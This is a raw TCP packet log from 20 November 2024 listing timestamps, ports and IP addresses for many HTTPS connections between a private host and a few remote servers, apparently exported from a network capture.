Nov 20, 2024 10:20:05.601082087 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.601154089 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.602257967 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.602267027 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.602288961 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.602293015 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.604366064 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.604382992 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.604410887 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.604445934 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.604454041 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.604500055 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.604594946 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.604603052 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.604675055 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.604691982 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.668292046 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:05.668368101 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:05.669760942 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:05.669765949 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:05.669989109 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:05.671267033 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:05.711323977 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:05.785836935 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.785959959 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.786016941 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.788252115 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.788273096 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.896529913 CET	49677	443	192.168.2.9	20.189.173.11
Nov 20, 2024 10:20:06.015477896 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:06.015542984 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:06.015599966 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:06.016630888 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:06.016652107 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:06.195045948 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.195652008 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.195672989 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.196312904 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.196317911 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.234239101 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.234740973 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.234756947 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.235297918 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.235301018 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.245460987 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.245923042 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.245942116 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.246462107 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.246470928 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.263298035 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.263720989 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.263746977 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.264174938 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.264180899 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.296278000 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.296344042 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.296396017 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.296660900 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.296675920 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.296685934 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.296690941 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.300004005 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.300031900 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.300096035 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.300287962 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.300297976 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.340161085 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.340225935 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.340280056 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.340490103 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.340504885 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.340523958 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.340528965 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.343878984 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.343911886 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.343981981 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.344151020 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.344163895 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.347501040 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.347547054 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.347590923 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.347743988 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.347755909 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.347767115 CET	49796	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.347771883 CET	443	49796	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.350462914 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.350481033 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.350548983 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.350730896 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.350739002 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.357523918 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.357948065 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.357956886 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.358509064 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.358513117 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.366550922 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.366611004 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.366656065 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.366817951 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.366833925 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.366847992 CET	49795	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.366853952 CET	443	49795	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.369592905 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.369621038 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.369683981 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.369832993 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.369843006 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.457624912 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.457700014 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.457757950 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.458129883 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.458148003 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.466123104 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.466171980 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.466262102 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.466521025 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.466535091 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.937535048 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.942539930 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.942558050 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.964205027 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:06.964216948 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.997972965 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:06.998075962 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.002527952 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.002545118 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.008976936 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.008984089 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.013453960 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.019938946 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.019961119 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.026629925 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.026638031 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.026729107 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.026745081 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.033673048 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.033680916 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.060112000 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.060175896 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.062529087 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.066131115 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.066131115 CET	49797	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.066148996 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.066159010 CET	443	49797	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.105009079 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.105087042 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.105254889 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.124131918 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.124201059 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.124293089 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.125359058 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.125370979 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.125386953 CET	49800	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.125394106 CET	443	49800	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.125406981 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.125407934 CET	49799	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.125423908 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.125432014 CET	443	49799	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.126981020 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.127001047 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.127096891 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.127324104 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.127332926 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.128093958 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.128142118 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.128211021 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.128314972 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.128315926 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.128326893 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.128340006 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.128390074 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.128500938 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.128516912 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.132128000 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.132194996 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.132318020 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.132344961 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.132356882 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.132368088 CET	49798	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.132374048 CET	443	49798	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.132797003 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.134387970 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.134423018 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.134526968 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.134627104 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.134643078 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.134869099 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.134887934 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.135279894 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.135296106 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.241585016 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.241658926 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.241806030 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.241955042 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.241981030 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.241997004 CET	49801	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.242005110 CET	443	49801	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.244729042 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.244762897 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:07.244843960 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.244962931 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:07.244973898 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.026312113 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.026781082 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.026793003 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.027295113 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.027298927 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.027796030 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.028162956 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.028204918 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.028208971 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.028492928 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.028506994 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.028924942 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.028929949 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.028970957 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.028985977 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.034940958 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.035289049 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.035301924 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.035692930 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.035696983 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.035797119 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.036057949 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.036067963 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.036498070 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.036501884 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.128129959 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.128232956 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.128288984 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.128427029 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.128456116 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.128475904 CET	49803	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.128484011 CET	443	49803	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.129904985 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.129971027 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.130013943 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.130172968 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.130187035 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.130198956 CET	49802	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.130204916 CET	443	49802	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.130412102 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.130465984 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.130502939 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.130796909 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.130810976 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.130821943 CET	49806	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.130829096 CET	443	49806	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.132467985 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.132498026 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.132548094 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.133070946 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.133112907 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.133167982 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.133225918 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.133234978 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.133301973 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.133321047 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.134366035 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.134385109 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.134442091 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.134591103 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.134601116 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.138464928 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.138528109 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.138565063 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.138672113 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.138679028 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.138690948 CET	49805	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.138695002 CET	443	49805	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.140602112 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.140645981 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.140703917 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.140860081 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.140873909 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.142281055 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.142334938 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.142369986 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.142441034 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.142446995 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.142457962 CET	49804	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.142462015 CET	443	49804	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.144301891 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.144313097 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.144364119 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.144572020 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.144579887 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.781389952 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.782023907 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.782057047 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.782242060 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.782480001 CET	49808	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.782493114 CET	443	49808	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.782759905 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.782778025 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.783160925 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.783165932 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.783473969 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.783811092 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.783817053 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.784199953 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.784204006 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.785957098 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.786323071 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.786354065 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.786691904 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.786701918 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.805947065 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.806318998 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.806334019 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.806716919 CET	49807	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.806725025 CET	443	49807	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.882230997 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.882255077 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.882308960 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.882319927 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.882328033 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.882379055 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.882667065 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.882679939 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.882692099 CET	49811	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.882699966 CET	443	49811	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.885471106 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.885507107 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.885675907 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.885850906 CET	49812	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.885859013 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.885860920 CET	443	49812	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.885919094 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.885958910 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.886100054 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.886104107 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.886117935 CET	49809	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.886121988 CET	443	49809	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.886858940 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.886888027 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.886950016 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.886990070 CET	443	49810	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:08.887109041 CET	49810	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:08.887126923 CET	443	49810	13.107.246.45	192.168.2.9
